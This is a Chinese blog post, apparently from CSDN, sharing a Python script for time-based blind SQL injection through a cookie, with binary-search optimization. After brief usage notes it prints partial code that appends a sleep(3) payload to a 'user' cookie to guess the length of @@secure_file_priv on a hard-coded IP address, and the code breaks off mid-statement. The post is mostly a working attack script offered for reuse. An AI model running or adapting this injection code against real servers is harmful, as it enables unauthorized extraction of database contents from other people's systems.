时间盲注python脚本（二分查找优化）支持cookie注入

最新推荐文章于 2024-05-07 09:48:38 发布

零”

最新推荐文章于 2024-05-07 09:48:38 发布

阅读量947

点赞数

分类专栏： python web sql 文章标签：盲注 python脚本 cookie注入延时注入

本文链接：https://blog.csdn.net/qq_36915061/article/details/103355154

版权

这是一个针对时间盲注的Python脚本，采用二分查找法进行优化，同时支持Cookie注入。适用于字符型注入点，通过修改payload中的select语句来适应不同情况，如在末尾添加注释符或闭合单引号。提供get_length和get_name两个函数，可以根据猜测范围调整最小值和最大值。

摘要由CSDN通过智能技术生成

时间盲注python脚本（二分查找优化）支持cookie注入

菜鸟自用，仅供参考

使用说明

可根据用途更改payload中的select语句，字符型注入点有两种注入情况：
1、最后添加注释符
2、最后的字符添加单引号，与原语句中的单引号闭合
get_length和get_name可结合使用
可根据自己的猜解范围调整min和max

import requests
import datetime

#cookie中的时间盲注
def get_len_cookie():
    for i in range(0,30):
        url="http://119.6.122.74:2038/menu.php"
        cookies={
   
            'user':'admin'
        }
        #适用于字符型cookie注入
        #若条件符合，延迟3s
        #最后的‘%d是结合服务端的语句闭合,从而不使用注释结尾
        #cookies["user"] += "' and sleep(3) and (select length(@@secure_file_priv))='%d"%(i)
        #若不利用语句闭合，就要在结尾添加注释符
        cookies["user"] += "' and sleep(3) and (select length(@@secure_file_priv))=%d" % (i)+'%23'
        time1 = datetime.datetime.now()
        re = requests